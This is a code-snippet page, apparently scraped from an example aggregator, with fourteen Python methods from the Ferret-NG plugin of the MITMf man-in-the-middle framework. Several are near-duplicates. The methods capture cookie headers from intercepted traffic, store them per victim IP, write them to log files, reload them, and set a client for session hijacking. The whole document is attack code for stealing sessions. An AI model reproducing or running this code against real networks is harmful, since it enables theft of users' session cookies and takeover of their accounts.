Esempio n. 1
0
    def clientRequest(self, request):
        if 'cookie' in request.headers:
            host = request.headers['host']
            cookie = request.headers['cookie']
            client = request.client.getClientIP()

            if client not in URLMonitor.getInstance().cookies:
                URLMonitor.getInstance().cookies[client] = []

            for entry in URLMonitor.getInstance().cookies[client]:
                if host == entry['host']:
                    mitmf_logger.debug(
                        "{} [Ferret-NG] Updating captured session for {}".
                        format(client, host))
                    entry['host'] = host
                    entry['cookie'] = cookie
                    return

            mitmf_logger.info(
                "{} [Ferret-NG] Host: {} Captured cookie: {}".format(
                    client, host, cookie))
            URLMonitor.getInstance().cookies[client].append({
                'host': host,
                'cookie': cookie
            })
Esempio n. 2
0
    def request(self, request):
        if 'cookie' in request.headers:
            host = request.headers['host']
            cookie = request.headers['cookie']
            client = request.client.getClientIP()

            if client not in URLMonitor.getInstance().cookies:
                URLMonitor.getInstance().cookies[client] = []

            for entry in URLMonitor.getInstance().cookies[client]:
                if host == entry['host']:
                    self.clientlog.debug(
                        "Updating captured session for {}".format(host),
                        extra=request.clientInfo)
                    entry['host'] = host
                    entry['cookie'] = cookie
                    return

            self.clientlog.info("Host: {} Captured cookie: {}".format(
                host, cookie),
                                extra=request.clientInfo)
            URLMonitor.getInstance().cookies[client].append({
                'host': host,
                'cookie': cookie
            })
Esempio n. 3
0
    def on_shutdown(self):
        if not URLMonitor.getInstance().cookies:
            return 

        if self.cookie_file == URLMonitor.getInstance().cookies:
            return
        
        self.log.info("Writing cookies to log file")
        with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file:
            cookie_file.write(str(URLMonitor.getInstance().cookies))
Esempio n. 4
0
	def finish(self):
		if not URLMonitor.getInstance().cookies:
			return 

		if self.cookie_file == URLMonitor.getInstance().cookies:
			return
		
		mitmf_logger.info("[Ferret-NG] Writing cookies to log file")
		with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file:
			cookie_file.write(str(URLMonitor.getInstance().cookies))
			cookie_file.close()
Esempio n. 5
0
    def finish(self):
        if not URLMonitor.getInstance().cookies:
            return

        if self.cookie_file == URLMonitor.getInstance().cookies:
            return

        mitmf_logger.info("[Ferret-NG] Writing cookies to log file")
        with open(
                './logs/ferret-ng/cookies-{}.log'.format(
                    datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")),
                'w') as cookie_file:
            cookie_file.write(str(URLMonitor.getInstance().cookies))
            cookie_file.close()
Esempio n. 6
0
	def clientRequest(self, request):
		if 'cookie' in request.headers:
			host   = request.headers['host']
			cookie = request.headers['cookie']
			client = request.client.getClientIP()

			if client not in URLMonitor.getInstance().cookies:
				URLMonitor.getInstance().cookies[client] = []

			for entry in URLMonitor.getInstance().cookies[client]:
				if host == entry['host']:
					mitmf_logger.debug("{} [Ferret-NG] Updating captured session for {}".format(client, host))
					entry['host']   = host
					entry['cookie'] = cookie
					return

			mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(client, host, cookie))
			URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie})
Esempio n. 7
0
    def request(self, request):
        if 'cookie' in request.headers:
            host   = request.headers['host']
            cookie = request.headers['cookie']
            client = request.client.getClientIP()

            if client not in URLMonitor.getInstance().cookies:
                URLMonitor.getInstance().cookies[client] = []

            for entry in URLMonitor.getInstance().cookies[client]:
                if host == entry['host']:
                    self.clientlog.debug("Updating captured session for {}".format(host), extra=request.clientInfo)
                    entry['host']   = host
                    entry['cookie'] = cookie
                    return

            self.clientlog.info("Host: {} Captured cookie: {}".format(host, cookie), extra=request.clientInfo)
            URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie})
Esempio n. 8
0
    def initialize(self, options):
        self.options = options
        self.ferret_port = options.ferret_port
        self.cookie_file = None

        URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']

        from core.utils import shutdown
        if options.cookie_file:
            self.tree_info.append('Loading cookies from log file')
            try:
                with open(options.cookie_file, 'r') as cookie_file:
                    self.cookie_file = json.dumps(cookie_file.read())
                    URLMonitor.getInstance().cookies = self.cookie_file
            except Exception as e:
                shutdown("[-] Error loading cookie log file: {}".format(e))

        self.tree_info.append("Listening on port {}".format(self.ferret_port))
Esempio n. 9
0
	def initialize(self, options):
		'''Called if plugin is enabled, passed the options namespace'''
		self.options = options
		self.ferret_port = 10010 or options.ferret_port
		self.cookie_file = None

		URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']

		if options.cookie_file:
			self.tree_info.append('Loading cookies from log file')
			try:
				with open(options.cookie_file, 'r') as cookie_file:
					self.cookie_file = ast.literal_eval(cookie_file.read())
					URLMonitor.getInstance().cookies = self.cookie_file
					cookie_file.close()
			except Exception as e:
				shutdown("[-] Error loading cookie log file: {}".format(e))

		self.tree_info.append("Listening on port {}".format(self.ferret_port))
Esempio n. 10
0
    def initialize(self, options):
        '''Called if plugin is enabled, passed the options namespace'''
        self.options = options
        self.ferret_port = 10010 or options.ferret_port
        self.cookie_file = None

        URLMonitor.getInstance(
        ).hijack_client = self.config['Ferret-NG']['Client']

        if options.cookie_file:
            self.tree_info.append('Loading cookies from log file')
            try:
                with open(options.cookie_file, 'r') as cookie_file:
                    self.cookie_file = ast.literal_eval(cookie_file.read())
                    URLMonitor.getInstance().cookies = self.cookie_file
                    cookie_file.close()
            except Exception as e:
                shutdown("[-] Error loading cookie log file: {}".format(e))

        self.tree_info.append("Listening on port {}".format(self.ferret_port))
Esempio n. 11
0
	def onConfigChange(self):
		mitmf_logger.info("[Ferret-NG] Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client']))
		URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
Esempio n. 12
0
 def onConfigChange(self):
     mitmf_logger.info(
         "[Ferret-NG] Will now hijack captured sessions from {}".format(
             self.config['Ferret-NG']['Client']))
     URLMonitor.getInstance(
     ).hijack_client = self.config['Ferret-NG']['Client']
Esempio n. 13
0
 def on_config_change(self):
     self.log.info("Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client']))
     URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client']
Esempio n. 14
0
 def on_config_change(self):
     self.log.info("Will now hijack captured sessions from {}".format(
         self.config['Ferret-NG']['Client']))
     URLMonitor.getInstance(
     ).hijack_client = self.config['Ferret-NG']['Client']